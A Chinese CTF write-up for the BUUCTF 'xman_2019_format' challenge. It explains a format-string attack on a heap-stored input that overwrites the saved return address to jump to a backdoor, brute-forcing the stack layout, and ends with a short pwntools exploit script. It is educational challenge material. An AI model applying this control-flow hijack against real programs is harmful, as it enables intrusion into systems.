BUUCTF之“xman_2019_format”之特殊剧情:当格式化字符串遇上堆

本题跟之前不一样的是,不是利用格式化任意写:去修改任意地址(包括函数got.plt)
的地址从而达到“鸠占鹊巢”间接调用,这里是修改eip去执行后门函数。主要可能是存在后门函数的原因,所以修改eip指向后门函数。

分析题目得出判断:我们要修改eip指向后门函数
在这里插入图片描述
程序给了两处格式化漏洞利用的机会。
前面虽然字符串漏洞被首先输入存入的是buff指向的堆空间,但是当调用函数的时候,其作为函数的参数,充当局部变量也会被放入栈中,我们在上图中的printf函数下个断点,并查看stack:在这里插入图片描述
虽然栈随着地址空间随机化,会变,但是我们发现本题程序的架构没有那么复杂,多次执行后发现“ebp”下方的(我们需要将在此修改为后门函数地址)地址总是倒数第二位在变就是1c啊2c啊3c啊上面的,我们可以假设一种情况这里假设位3c,多次执行后,满足3c条件就可以出结果。

这里还得注意:我们利用%n去实现修改数据,得仔细思考其定义再实现利用:
%s与%n都是利用栈上存的数据当做参数,不是栈前边的地址为参数
下面结合上图解释:
这里就是利用%hhn先修改0xffffd1880xffffd13c,再看偏移18处:修改成功后:利用%18hn修改的就是bep下方的0x804864b了,观察IDA上.text发现(函数或者指令)一般都是0x8048打头所以我们利用0xffff截取后门函数后边四个字节进行修改

WP:

from pwn import*
p=remote('node4.buuoj.cn',26689)
#context.log_level='debug'

eip=0x3c
backdoor=(0x80485ab)&(0xffff)

fmt_str="%"+str(eip)+"c%10$hhn"+"|"+"%"+str(backdoor)+"c%18$hn"+"|"
p.send(fmt_str)
p.interactive()

多次执行后总会满足条件
结果:
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值